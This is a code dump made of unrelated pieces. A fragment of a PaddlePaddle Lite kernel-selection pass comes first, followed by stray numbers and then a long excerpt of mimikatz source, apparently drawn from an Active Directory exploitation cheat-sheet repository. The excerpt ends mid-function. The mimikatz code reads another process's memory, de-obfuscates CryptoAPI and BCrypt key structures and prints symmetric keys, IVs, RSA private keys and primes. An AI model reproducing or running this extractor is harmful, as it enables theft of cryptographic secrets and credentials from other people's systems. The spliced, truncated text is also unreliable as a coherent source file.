instruct.op_type() == "__xpu__multi_encoder" || instruct.op_type() == "__xpu__fc") { out_type_int8 = false; break; } } if (!out_type_int8) break; } // If the out_type_int8 is true, it turns out that the output type of this // op can be int8. // So we need to specify output scale for this op. if (out_type_int8) { auto out_node = node.outlinks.front(); CHECK(out_node->IsArg()); auto out_node_name = out_node->arg()->name; auto one_adj_op_node = out_node->outlinks.front(); CHECK(one_adj_op_node->IsStmt()); auto& one_adj_instruct = one_adj_op_node->AsStmt(); CHECK(one_adj_instruct.op_info()->HasAttr("enable_int8")); CHECK(one_adj_instruct.op_info()->HasInputScale(out_node_name)); instruct.mutable_op_info()->SetOutputScale( out_node_name, one_adj_instruct.op_info()->GetInputScale(out_node_name)); auto update_desc = *instruct.mutable_op_info(); instruct.ResetOp(update_desc, graph->valid_places()); scored.clear(); for (auto&& kernel : instruct.kernels()) { float score = KernelGrade(instruct, *kernel, graph->valid_places(), in_types, out_types, instruct.op_info()->input_names(), instruct.op_info()->output_names()); scored.emplace_back(score, std::move(kernel)); } std::stable_sort(scored.begin(), scored.end(), KernelScoreCmp); instruct.kernels().clear(); } // If the out_type_int8 is true, we should pick the kernel with the // int8 input and int8 output. // If the out_type_int8 is false, we should pick the kernel with the // int8 input and fp32 output. auto output_arguments = instruct.op_info()->OutputArgumentNames(); for (auto& candidate : scored) { bool all_output_type_match = true; auto expect_output_type = out_type_int8 ? PRECISION(kInt8) : PRECISION(kFloat); for (auto& arg_name : output_arguments) { const Type* out_arg_ty = candidate.second->GetOutputDeclType(arg_name); if (out_arg_ty->precision() != expect_output_type) { all_output_type_match = false; } } if (all_output_type_match) { instruct.kernels().emplace_back(std::move(candidate.second)); VLOG(2) << "instruct.kernels.emplace_back " << instruct.kernels().front()->name(); break; } } CHECK(!instruct.kernels().empty()) << "No kernels found for " << instruct.op_type(); } } } } // namespace mir } // namespace lite } // namespace paddle REGISTER_MIR_PASS(static_kernel_pick_pass, paddle::lite::mir::StaticKernelPickPass) .BindTargets({TARGET(kAny)});
3,478
1,290
<reponame>dfirpaul/Active-Directory-Exploitation-Cheat-Sheet-1<gh_stars>1000+ /* <NAME> `gentilkiwi` http://blog.gentilkiwi.com <EMAIL> Licence : https://creativecommons.org/licenses/by/4.0/ */ #include "kuhl_m_crypto_extractor.h" void kuhl_m_crypto_extractor_capi32(PKULL_M_MEMORY_ADDRESS address) { KIWI_CRYPTKEY32 kKey; KIWI_UNK_INT_KEY32 kUnk; KIWI_RAWKEY32 kRaw; PKIWI_RAWKEY_51_32 pXp = (PKIWI_RAWKEY_51_32) &kRaw; KIWI_PRIV_STRUCT_32 kStruct; DWORD64 pRsa; RSAPUBKEY rsaPub; // dirty, dirty, dirty KULL_M_MEMORY_ADDRESS aLocalBuffer = {&kKey, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; DWORD i; BYTE k; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_CRYPTKEY32))) { if(address->address = ULongToPtr(kKey.obfKiwiIntKey ^ RSAENH_KEY_32)) { aLocalBuffer.address = &kUnk; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_UNK_INT_KEY32))) { if(kUnk.unk0 > 1 && kUnk.unk0 < 5) { if(address->address = ULongToPtr(kUnk.KiwiRawKey)) { aLocalBuffer.address = &kRaw; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_RAWKEY32))) { if(kRaw.Algid && (kRaw.Algid <= 0xffff) && kRaw.dwData <= 0x8000) { kprintf(L"\nAlgid : %s (0x%x)\n", kull_m_crypto_algid_to_name(kRaw.Algid), kRaw.Algid); kprintf(L"Key (%3u) : ", kRaw.dwData); if(address->address = ULongToPtr(kRaw.Data)) { if(aLocalBuffer.address = LocalAlloc(LPTR, kRaw.dwData)) { if(kull_m_memory_copy(&aLocalBuffer, address, kRaw.dwData)) kull_m_string_wprintf_hex(aLocalBuffer.address, kRaw.dwData, 0); else PRINT_ERROR(L"Unable to read from @ %p", address->address); LocalFree(aLocalBuffer.address); } } kprintf(L"\n"); if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_2K3) // damn XP... { if(GET_ALG_TYPE(pXp->Algid) == ALG_TYPE_BLOCK) { kprintf(L"Mode : %s (0x%x)\n", kull_m_crypto_kp_mode_to_str(pXp->dwMode), pXp->dwMode); for(i = 0, k = 0; !k && (i < pXp->dwBlockLen); k |= pXp->IV[i++]); if(k) { kprintf(L"IV : "); kull_m_string_wprintf_hex(pXp->IV, pXp->dwBlockLen, 0); kprintf(L"\n"); } } if(pXp->dwSalt) { kprintf(L"Salt : "); kull_m_string_wprintf_hex(pXp->Salt, pXp->dwSalt, 0); kprintf(L"\n"); } } else { if(GET_ALG_TYPE(kRaw.Algid) == ALG_TYPE_BLOCK) { kprintf(L"Mode : %s (0x%x)\n", kull_m_crypto_kp_mode_to_str(kRaw.dwMode), kRaw.dwMode); for(i = 0, k = 0; !k && (i < kRaw.dwBlockLen); k |= kRaw.IV[i++]); if(k) { kprintf(L"IV : "); kull_m_string_wprintf_hex(kRaw.IV, kRaw.dwBlockLen, 0); kprintf(L"\n"); } } if(kRaw.dwSalt) { kprintf(L"Salt : "); kull_m_string_wprintf_hex(kRaw.Salt, kRaw.dwSalt, 0); kprintf(L"\n"); } } } if(GET_ALG_TYPE(kRaw.Algid) == ALG_TYPE_RSA) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_7) i = 308; else if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) i = 300; else i = 356; if(address->address = ULongToPtr(kRaw.obfUnk0 ^ RSAENH_KEY_32)) { aLocalBuffer.address = &kStruct; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_PRIV_STRUCT_32))) { if(kStruct.strangeStruct) { aLocalBuffer.address = &pRsa; address->address = ULongToPtr(kStruct.strangeStruct + i); if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(DWORD64))) { if(address->address = (PVOID) pRsa) { aLocalBuffer.address = &rsaPub; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(RSAPUBKEY))) /// pubexp 4 bitlen { i = kuhl_m_crypto_extractor_GetKeySizeForEncryptMemory(kuhl_m_crypto_extractor_GetKeySize(rsaPub.pubexp)); if(aLocalBuffer.address = LocalAlloc(LPTR, i)) { if(kull_m_memory_copy(&aLocalBuffer, address, i)) { kprintf(L"PrivKey : "); kull_m_string_wprintf_hex(aLocalBuffer.address, i, 0); kprintf(L"\n!!! parts after public exponent are process encrypted !!!\n"); } LocalFree(aLocalBuffer.address); } } } } } } } } } } } } } } } #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 void kuhl_m_crypto_extractor_capi64(PKULL_M_MEMORY_ADDRESS address) { KIWI_CRYPTKEY64 kKey; KIWI_UNK_INT_KEY64 kUnk; KIWI_RAWKEY64 kRaw; KIWI_PRIV_STRUCT_64 kStruct; DWORD64 pRsa; RSAPUBKEY rsaPub; // dirty, dirty, dirty KULL_M_MEMORY_ADDRESS aLocalBuffer = {&kKey, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; DWORD i; BYTE k; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_CRYPTKEY64))) { if(address->address = (PVOID) (kKey.obfKiwiIntKey ^ RSAENH_KEY_64)) { aLocalBuffer.address = &kUnk; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_UNK_INT_KEY64))) { if(kUnk.unk0 > 1 && kUnk.unk0 < 5) { if(address->address = (PVOID) kUnk.KiwiRawKey) { aLocalBuffer.address = &kRaw; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_RAWKEY64))) { if(kRaw.Algid && (kRaw.Algid <= 0xffff) && kRaw.dwData <= 0x8000) { kprintf(L"\nAlgid : %s (0x%x)\n", kull_m_crypto_algid_to_name(kRaw.Algid), kRaw.Algid); kprintf(L"Key (%3u) : ", kRaw.dwData); if(address->address = (PVOID) kRaw.Data) { if(aLocalBuffer.address = LocalAlloc(LPTR, kRaw.dwData)) { if(kull_m_memory_copy(&aLocalBuffer, address, kRaw.dwData)) kull_m_string_wprintf_hex(aLocalBuffer.address, kRaw.dwData, 0); else PRINT_ERROR(L"Unable to read from @ %p", address->address); LocalFree(aLocalBuffer.address); } } kprintf(L"\n"); if(GET_ALG_TYPE(kRaw.Algid) == ALG_TYPE_BLOCK) { kprintf(L"Mode : %s (0x%x)\n", kull_m_crypto_kp_mode_to_str(kRaw.dwMode), kRaw.dwMode); for(i = 0, k = 0; !k && (i < kRaw.dwBlockLen); k |= kRaw.IV[i++]); if(k) { kprintf(L"IV : "); kull_m_string_wprintf_hex(kRaw.IV, kRaw.dwBlockLen, 0); kprintf(L"\n"); } } if(kRaw.dwSalt) { kprintf(L"Salt : "); kull_m_string_wprintf_hex(kRaw.Salt, kRaw.dwSalt, 0); kprintf(L"\n"); } if(GET_ALG_TYPE(kRaw.Algid) == ALG_TYPE_RSA) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_7) i = 384; else if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) i = 368; else i = 432; if(address->address = (PVOID) (kRaw.obfUnk0 ^ RSAENH_KEY_64)) { aLocalBuffer.address = &kStruct; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_PRIV_STRUCT_64))) { if(kStruct.strangeStruct) { aLocalBuffer.address = &pRsa; address->address = (PVOID) (kStruct.strangeStruct + i); if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(DWORD64))) { if(address->address = (PVOID) pRsa) { aLocalBuffer.address = &rsaPub; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(RSAPUBKEY))) /// pubexp 4 bitlen { i = kuhl_m_crypto_extractor_GetKeySizeForEncryptMemory(kuhl_m_crypto_extractor_GetKeySize(rsaPub.pubexp)); if(aLocalBuffer.address = LocalAlloc(LPTR, i)) { if(kull_m_memory_copy(&aLocalBuffer, address, i)) { kprintf(L"PrivKey : "); kull_m_string_wprintf_hex(aLocalBuffer.address, i, 0); kprintf(L"\n!!! parts after public exponent are process encrypted !!!\n"); } LocalFree(aLocalBuffer.address); } } } } } } } } } } } } } } } } #endif void kuhl_m_crypto_extractor_bcrypt32_bn(PKIWI_BCRYPT_BIGNUM_Header bn) { if(bn->tag) { switch(((bn->tag) >> 16) & 0xff) { case 'I': kull_m_string_wprintf_hex(((PKIWI_BCRYPT_BIGNUM_Int32) bn)->data, bn->size - FIELD_OFFSET(KIWI_BCRYPT_BIGNUM_Int32, data), 0); break; case 'D': kuhl_m_crypto_extractor_bcrypt32_bn(&((PKIWI_BCRYPT_BIGNUM_Div) bn)->bn); break; case 'M': kuhl_m_crypto_extractor_bcrypt32_bn(&((PKIWI_BCRYPT_BIGNUM_ComplexType32) bn)->bn); break; default: PRINT_ERROR(L"Unknown tag: %08x\n", bn->tag); } } } void kuhl_m_crypto_extractor_bcrypt32_bn_ex(PVOID curBase, DWORD32 remBase, DWORD32 remAddr, LPCWSTR num) { PKIWI_BCRYPT_BIGNUM_Header bn; if(remAddr) { bn = (PKIWI_BCRYPT_BIGNUM_Header) ((PBYTE) curBase + (remAddr - remBase)); if(bn->tag) { kprintf(L"%s: ", num); kuhl_m_crypto_extractor_bcrypt32_bn(bn); kprintf(L"\n"); } } } void kuhl_m_crypto_extractor_bcrypt32_classic(PKULL_M_MEMORY_HANDLE hMemory, DWORD32 addr, DWORD size, LPCWSTR num) { KULL_M_MEMORY_ADDRESS address = {ULongToPtr(addr), hMemory}, aLocalBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; if(addr && size) { kprintf(L"%s: ", num); if(aLocalBuffer.address = LocalAlloc(LPTR, size)) { if(kull_m_memory_copy(&aLocalBuffer, &address, size)) kull_m_string_wprintf_hex(aLocalBuffer.address, size, 0); LocalFree(aLocalBuffer.address); } kprintf(L"\n"); } } void kuhl_m_crypto_extractor_bcrypt32(PKULL_M_MEMORY_ADDRESS address) { KIWI_BCRYPT_HANDLE_KEY32 hKey; DWORD aSymSize; PKIWI_BCRYPT_ASYM_KEY_DATA_10_32 pa; KIWI_BCRYPT_GENERIC_KEY_HEADER Header, *p; KULL_M_MEMORY_ADDRESS aLocalBuffer = {&hKey, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; WORD alg, i; BYTE k; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_BCRYPT_HANDLE_KEY32))) { if(address->address = ULongToPtr(hKey.key)) { aLocalBuffer.address = &Header; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_BCRYPT_GENERIC_KEY_HEADER))) { if(p = (PKIWI_BCRYPT_GENERIC_KEY_HEADER) LocalAlloc(LPTR, Header.size)) { aLocalBuffer.address = p; if(kull_m_memory_copy(&aLocalBuffer, address, Header.size)) { alg = Header.type & 0xffff; kprintf(L"\nAlgId : "); switch(Header.type >> 16) { case BCRYPT_CIPHER_INTERFACE: kprintf(L"%s (0x%x)\n", kull_m_crypto_bcrypt_cipher_alg_to_str(alg), Header.type); if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8) { kprintf(L"Mode : %s (0x%x)\n", kull_m_crypto_bcrypt_mode_to_str(((PKIWI_BCRYPT_SYM_KEY_6_32) p)->dwMode), ((PKIWI_BCRYPT_SYM_KEY_6_32) p)->dwMode); for(i = 0, k = 0; !k && (i < ((PKIWI_BCRYPT_SYM_KEY_6_32) p)->dwBlockLen); k |= *((PBYTE) p + Header.size + i++ - ((PKIWI_BCRYPT_SYM_KEY_6_32) p)->dwBlockLen)); if(k) { kprintf(L"IV : "); kull_m_string_wprintf_hex((PBYTE) p + Header.size - ((PKIWI_BCRYPT_SYM_KEY_6_32) p)->dwBlockLen, ((PKIWI_BCRYPT_SYM_KEY_6_32) p)->dwBlockLen, 0); kprintf(L"\n"); } kprintf(L"Key (%3u) : ", ((PKIWI_BCRYPT_SYM_KEY_6_32) p)->dwData); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_6_32) p)->Data, ((PKIWI_BCRYPT_SYM_KEY_6_32) p)->dwData, 0); } else if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE) { kprintf(L"Mode : %s (0x%x)\n", kull_m_crypto_bcrypt_mode_to_str(((PKIWI_BCRYPT_SYM_KEY_80_32) p)->dwMode), ((PKIWI_BCRYPT_SYM_KEY_80_32) p)->dwMode); for(i = 0, k = 0; !k && (i < ((PKIWI_BCRYPT_SYM_KEY_80_32) p)->dwBlockLen); k |= ((PKIWI_BCRYPT_SYM_KEY_80_32) p)->IV[i++]); if(k) { kprintf(L"IV : "); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_80_32) p)->IV, ((PKIWI_BCRYPT_SYM_KEY_80_32) p)->dwBlockLen, 0); kprintf(L"\n"); } kprintf(L"Key (%3u) : ", ((PKIWI_BCRYPT_SYM_KEY_80_32) p)->dwData); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_80_32) p)->Data, ((PKIWI_BCRYPT_SYM_KEY_80_32) p)->dwData, 0); } else { kprintf(L"Mode : %s (0x%x)\n", kull_m_crypto_bcrypt_mode_to_str(((PKIWI_BCRYPT_SYM_KEY_81_32) p)->dwMode), ((PKIWI_BCRYPT_SYM_KEY_81_32) p)->dwMode); for(i = 0, k = 0; !k && (i < ((PKIWI_BCRYPT_SYM_KEY_81_32) p)->dwBlockLen); k |= ((PKIWI_BCRYPT_SYM_KEY_81_32) p)->IV[i++]); if(k) { kprintf(L"IV : "); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_81_32) p)->IV, ((PKIWI_BCRYPT_SYM_KEY_81_32) p)->dwBlockLen, 0); kprintf(L"\n"); } kprintf(L"Key (%3u) : ", ((PKIWI_BCRYPT_SYM_KEY_81_32) p)->dwData); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_81_32) p)->Data, ((PKIWI_BCRYPT_SYM_KEY_81_32) p)->dwData, 0); } kprintf(L"\n"); break; case BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE: kprintf(L"%s (0x%x)\n", kull_m_crypto_bcrypt_asym_alg_to_str(alg), Header.type); switch(Header.tag) { case 'MSRK': if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE) { kuhl_m_crypto_extractor_bcrypt32_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_6_32) p)->PublicExponent, 1 * 4, L"PubExp "); kuhl_m_crypto_extractor_bcrypt32_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_6_32) p)->Modulus, ((PKIWI_BCRYPT_ASYM_KEY_6_32) p)->nbModulus * 4, L"Modulus "); kuhl_m_crypto_extractor_bcrypt32_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_6_32) p)->bnPrime1.Prime, ((PKIWI_BCRYPT_ASYM_KEY_6_32) p)->bnPrime1.nbBlock * 4, L"Prime1 "); kuhl_m_crypto_extractor_bcrypt32_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_6_32) p)->bnPrime2.Prime, ((PKIWI_BCRYPT_ASYM_KEY_6_32) p)->bnPrime2.nbBlock * 4, L"Prime2 "); } else if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_10_1703) { kuhl_m_crypto_extractor_bcrypt32_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_81_32) p)->PublicExponent, 1 * 4, L"PubExp "); kuhl_m_crypto_extractor_bcrypt32_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_81_32) p)->Modulus, ((PKIWI_BCRYPT_ASYM_KEY_81_32) p)->nbModulus * 4, L"Modulus "); kuhl_m_crypto_extractor_bcrypt32_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_81_32) p)->bnPrime1.Prime, ((PKIWI_BCRYPT_ASYM_KEY_81_32) p)->bnPrime1.nbBlock * 4, L"Prime1 "); kuhl_m_crypto_extractor_bcrypt32_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_81_32) p)->bnPrime2.Prime, ((PKIWI_BCRYPT_ASYM_KEY_81_32) p)->bnPrime2.nbBlock * 4, L"Prime2 "); } else { if(address->address = ULongToPtr(((PKIWI_BCRYPT_ASYM_KEY_10_32) p)->data)) { aLocalBuffer.address = &aSymSize; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(aSymSize))) { if(pa = (PKIWI_BCRYPT_ASYM_KEY_DATA_10_32) LocalAlloc(LPTR, aSymSize)) { aLocalBuffer.address = pa; if(kull_m_memory_copy(&aLocalBuffer, address, aSymSize)) { kuhl_m_crypto_extractor_bcrypt32_bn_ex(pa, ((PKIWI_BCRYPT_ASYM_KEY_10_32) p)->data, pa->PublicExponent, L"PubExp "); kuhl_m_crypto_extractor_bcrypt32_bn_ex(pa, ((PKIWI_BCRYPT_ASYM_KEY_10_32) p)->data, pa->Modulus, L"Modulus "); kuhl_m_crypto_extractor_bcrypt32_bn_ex(pa, ((PKIWI_BCRYPT_ASYM_KEY_10_32) p)->data, pa->Prime1, L"Prime1 "); kuhl_m_crypto_extractor_bcrypt32_bn_ex(pa, ((PKIWI_BCRYPT_ASYM_KEY_10_32) p)->data, pa->Prime2, L"Prime2 "); } LocalFree(pa); } } } } break; case 'MSKY': // TODO break; default: PRINT_ERROR(L"Tag %.4S not supported\n", &Header.tag); } break; default: PRINT_ERROR(L"Unsupported interface,alg (0x%x)\n", Header.type); } } LocalFree(p); } } } } } #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 void kuhl_m_crypto_extractor_bcrypt64_bn(PKIWI_BCRYPT_BIGNUM_Header bn) { if(bn->tag) { switch(((bn->tag) >> 16) & 0xff) { case 'I': kull_m_string_wprintf_hex(((PKIWI_BCRYPT_BIGNUM_Int64) bn)->data, bn->size - FIELD_OFFSET(KIWI_BCRYPT_BIGNUM_Int64, data), 0); break; case 'D': kuhl_m_crypto_extractor_bcrypt64_bn(&((PKIWI_BCRYPT_BIGNUM_Div) bn)->bn); break; case 'M': kuhl_m_crypto_extractor_bcrypt64_bn(&((PKIWI_BCRYPT_BIGNUM_ComplexType64) bn)->bn); break; default: PRINT_ERROR(L"Unknown tag: %08x\n", bn->tag); } } } void kuhl_m_crypto_extractor_bcrypt64_bn_ex(PVOID curBase, DWORD64 remBase, DWORD64 remAddr, LPCWSTR num) { PKIWI_BCRYPT_BIGNUM_Header bn; if(remAddr) { bn = (PKIWI_BCRYPT_BIGNUM_Header) ((PBYTE) curBase + (remAddr - remBase)); if(bn->tag) { kprintf(L"%s: ", num); kuhl_m_crypto_extractor_bcrypt64_bn(bn); kprintf(L"\n"); } } } void kuhl_m_crypto_extractor_bcrypt64_classic(PKULL_M_MEMORY_HANDLE hMemory, DWORD64 addr, DWORD size, LPCWSTR num) { KULL_M_MEMORY_ADDRESS address = {(LPVOID) addr, hMemory}, aLocalBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; if(addr && size) { kprintf(L"%s: ", num); if(aLocalBuffer.address = LocalAlloc(LPTR, size)) { if(kull_m_memory_copy(&aLocalBuffer, &address, size)) kull_m_string_wprintf_hex(aLocalBuffer.address, size, 0); LocalFree(aLocalBuffer.address); } kprintf(L"\n"); } } void kuhl_m_crypto_extractor_bcrypt64(PKULL_M_MEMORY_ADDRESS address) { KIWI_BCRYPT_HANDLE_KEY64 hKey; DWORD aSymSize; PKIWI_BCRYPT_ASYM_KEY_DATA_10_64 pa; KIWI_BCRYPT_GENERIC_KEY_HEADER Header, *p; KULL_M_MEMORY_ADDRESS aLocalBuffer = {&hKey, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; WORD alg, i; BYTE k; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_BCRYPT_HANDLE_KEY64))) { if(address->address = (PVOID) hKey.key) { aLocalBuffer.address = &Header; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(KIWI_BCRYPT_GENERIC_KEY_HEADER))) { if(p = (PKIWI_BCRYPT_GENERIC_KEY_HEADER) LocalAlloc(LPTR, Header.size)) { aLocalBuffer.address = p; if(kull_m_memory_copy(&aLocalBuffer, address, Header.size)) { alg = Header.type & 0xffff; kprintf(L"\nAlgId : "); switch(Header.type >> 16) { case BCRYPT_CIPHER_INTERFACE: kprintf(L"%s (0x%x)\n", kull_m_crypto_bcrypt_cipher_alg_to_str(alg), Header.type); if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8) { kprintf(L"Mode : %s (0x%x)\n", kull_m_crypto_bcrypt_mode_to_str(((PKIWI_BCRYPT_SYM_KEY_6_64) p)->dwMode), ((PKIWI_BCRYPT_SYM_KEY_6_64) p)->dwMode); for(i = 0, k = 0; !k && (i < ((PKIWI_BCRYPT_SYM_KEY_6_64) p)->dwBlockLen); k |= *((PBYTE) p + Header.size + i++ - ((PKIWI_BCRYPT_SYM_KEY_6_64) p)->dwBlockLen)); if(k) { kprintf(L"IV : "); kull_m_string_wprintf_hex((PBYTE) p + Header.size - ((PKIWI_BCRYPT_SYM_KEY_6_64) p)->dwBlockLen, ((PKIWI_BCRYPT_SYM_KEY_6_64) p)->dwBlockLen, 0); kprintf(L"\n"); } kprintf(L"Key (%3u) : ", ((PKIWI_BCRYPT_SYM_KEY_6_64) p)->dwData); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_6_64) p)->Data, ((PKIWI_BCRYPT_SYM_KEY_6_64) p)->dwData, 0); } else if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE) { kprintf(L"Mode : %s (0x%x)\n", kull_m_crypto_bcrypt_mode_to_str(((PKIWI_BCRYPT_SYM_KEY_80_64) p)->dwMode), ((PKIWI_BCRYPT_SYM_KEY_80_64) p)->dwMode); for(i = 0, k = 0; !k && (i < ((PKIWI_BCRYPT_SYM_KEY_80_64) p)->dwBlockLen); k |= ((PKIWI_BCRYPT_SYM_KEY_80_64) p)->IV[i++]); if(k) { kprintf(L"IV : "); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_80_64) p)->IV, ((PKIWI_BCRYPT_SYM_KEY_80_64) p)->dwBlockLen, 0); kprintf(L"\n"); } kprintf(L"Key (%3u) : ", ((PKIWI_BCRYPT_SYM_KEY_80_64) p)->dwData); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_80_64) p)->Data, ((PKIWI_BCRYPT_SYM_KEY_80_64) p)->dwData, 0); } else { kprintf(L"Mode : %s (0x%x)\n", kull_m_crypto_bcrypt_mode_to_str(((PKIWI_BCRYPT_SYM_KEY_81_64) p)->dwMode), ((PKIWI_BCRYPT_SYM_KEY_81_64) p)->dwMode); for(i = 0, k = 0; !k && (i < ((PKIWI_BCRYPT_SYM_KEY_81_64) p)->dwBlockLen); k |= ((PKIWI_BCRYPT_SYM_KEY_81_64) p)->IV[i++]); if(k) { kprintf(L"IV : "); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_81_64) p)->IV, ((PKIWI_BCRYPT_SYM_KEY_81_64) p)->dwBlockLen, 0); kprintf(L"\n"); } kprintf(L"Key (%3u) : ", ((PKIWI_BCRYPT_SYM_KEY_81_64) p)->dwData); kull_m_string_wprintf_hex(((PKIWI_BCRYPT_SYM_KEY_81_64) p)->Data, ((PKIWI_BCRYPT_SYM_KEY_81_64) p)->dwData, 0); } kprintf(L"\n"); break; case BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE: kprintf(L"%s (0x%x)\n", kull_m_crypto_bcrypt_asym_alg_to_str(alg), Header.type); switch(Header.tag) { case 'MSRK': if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE) { kuhl_m_crypto_extractor_bcrypt64_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_6_64) p)->PublicExponent, 1 * 8, L"PubExp "); kuhl_m_crypto_extractor_bcrypt64_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_6_64) p)->Modulus, ((PKIWI_BCRYPT_ASYM_KEY_6_64) p)->nbModulus * 8, L"Modulus "); kuhl_m_crypto_extractor_bcrypt64_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_6_64) p)->bnPrime1.Prime, (DWORD) ((PKIWI_BCRYPT_ASYM_KEY_6_64) p)->bnPrime1.nbBlock * 8, L"Prime1 "); kuhl_m_crypto_extractor_bcrypt64_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_6_64) p)->bnPrime2.Prime, (DWORD) ((PKIWI_BCRYPT_ASYM_KEY_6_64) p)->bnPrime2.nbBlock * 8, L"Prime2 "); } else if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_10_1703) { kuhl_m_crypto_extractor_bcrypt64_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_81_64) p)->PublicExponent, 1 * 8, L"PubExp "); kuhl_m_crypto_extractor_bcrypt64_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_81_64) p)->Modulus, ((PKIWI_BCRYPT_ASYM_KEY_81_64) p)->nbModulus * 8, L"Modulus "); kuhl_m_crypto_extractor_bcrypt64_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_81_64) p)->bnPrime1.Prime, (DWORD) ((PKIWI_BCRYPT_ASYM_KEY_81_64) p)->bnPrime1.nbBlock * 8, L"Prime1 "); kuhl_m_crypto_extractor_bcrypt64_classic(address->hMemory, ((PKIWI_BCRYPT_ASYM_KEY_81_64) p)->bnPrime2.Prime, (DWORD) ((PKIWI_BCRYPT_ASYM_KEY_81_64) p)->bnPrime2.nbBlock * 8, L"Prime2 "); } else { if(address->address = (PVOID) ((PKIWI_BCRYPT_ASYM_KEY_10_64) p)->data) { aLocalBuffer.address = &aSymSize; if(kull_m_memory_copy(&aLocalBuffer, address, sizeof(aSymSize))) { if(pa = (PKIWI_BCRYPT_ASYM_KEY_DATA_10_64) LocalAlloc(LPTR, aSymSize)) { aLocalBuffer.address = pa; if(kull_m_memory_copy(&aLocalBuffer, address, aSymSize)) { kuhl_m_crypto_extractor_bcrypt64_bn_ex(pa, ((PKIWI_BCRYPT_ASYM_KEY_10_64) p)->data, pa->PublicExponent, L"PubExp "); kuhl_m_crypto_extractor_bcrypt64_bn_ex(pa, ((PKIWI_BCRYPT_ASYM_KEY_10_64) p)->data, pa->Modulus, L"Modulus "); kuhl_m_crypto_extractor_bcrypt64_bn_ex(pa, ((PKIWI_BCRYPT_ASYM_KEY_10_64) p)->data, pa->Prime1, L"Prime1 "); kuhl_m_crypto_extractor_bcrypt64_bn_ex(pa, ((PKIWI_BCRYPT_ASYM_KEY_10_64) p)->data, pa->Prime2, L"Prime2 "); } LocalFree(pa); } } } } break; case 'MSKY': // TODO break; default: PRINT_ERROR(L"Tag %.4S not supported\n", &Header.tag); } break; default: PRINT_ERROR(L"Unsupported interface,alg (0x%x)\n", Header.type); } } LocalFree(p); } } } } } #endif DWORD kuhl_m_crypto_extractor_GetKeySizeForEncryptMemory(DWORD size) { DWORD v1; v1 = size - 20; if (((BYTE) size - 20) & 0xf) v1 += 16 - (((BYTE) size - 20) & 0xf); return v1 + 20; } DWORD kuhl_m_crypto_extractor_GetKeySize(DWORD bits) { DWORD v4, v5, v6; v4 = ((bits + 7) >> 3) & 7; v5 = (bits + 15) >> 4; v6 = 8 - v4; if(v4) v6 += 